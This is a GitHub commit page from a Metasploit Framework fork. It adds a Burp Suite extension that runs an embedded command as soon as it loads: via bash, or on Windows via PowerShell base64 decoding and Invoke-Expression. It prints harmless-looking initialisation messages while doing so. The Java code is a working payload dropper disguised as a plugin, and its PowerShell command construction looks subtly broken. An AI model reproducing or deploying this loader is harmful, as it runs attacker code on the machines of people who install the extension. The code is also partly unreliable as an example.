forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
non-compile working just needs testing
- Loading branch information
Showing
6 changed files
with
140 additions
and
69 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
50 changes: 50 additions & 0 deletions
50
data/exploits/burp_extension/src/main/java/BurpExtender.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
// from https://github.com/PortSwigger/example-hello-world/blob/master/java/BurpExtender.java | ||
package burp; | ||
|
||
import java.io.PrintWriter; | ||
import java.io.InputStream; | ||
import java.nio.charset.StandardCharsets; | ||
import java.util.Scanner; | ||
|
||
public class BurpExtender implements IBurpExtender { | ||
@Override | ||
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { | ||
// Read extension name from resource file and set it | ||
InputStream nameInputStream = getClass().getClassLoader().getResourceAsStream("name.txt"); | ||
Scanner nameScanner = new Scanner(nameInputStream, StandardCharsets.UTF_8.name()); | ||
String extensionName = nameScanner.useDelimiter("\\A").next().trim(); | ||
callbacks.setExtensionName(extensionName); | ||
|
||
// Read command from resource file | ||
InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt"); | ||
Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name()); | ||
String command = commandScanner.useDelimiter("\\A").next().trim(); | ||
|
||
// obtain our output and error streams | ||
PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true); | ||
PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true); | ||
|
||
// Detect operating system | ||
String os = System.getProperty("os.name").toLowerCase(); | ||
Process process; | ||
|
||
try { | ||
stdout.println("Initializing extension."); | ||
|
||
if (os.contains("win")) { | ||
// Windows: Use cmd.exe or PowerShell | ||
String windowsCommand = "powershell.exe -Command \"" | ||
+ command | ||
+ "[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\""; | ||
|
||
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", windowsCommand}); | ||
} else { | ||
// Unix-based systems: Use /bin/bash | ||
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command}); | ||
} | ||
stdout.println("Finished initializing extension."); | ||
} catch (Exception e) { | ||
stderr.println("Error loading extension: " + e.getMessage()); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
FOOBARBAZ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
Metasploit Payload Extension |
Oops, something went wrong.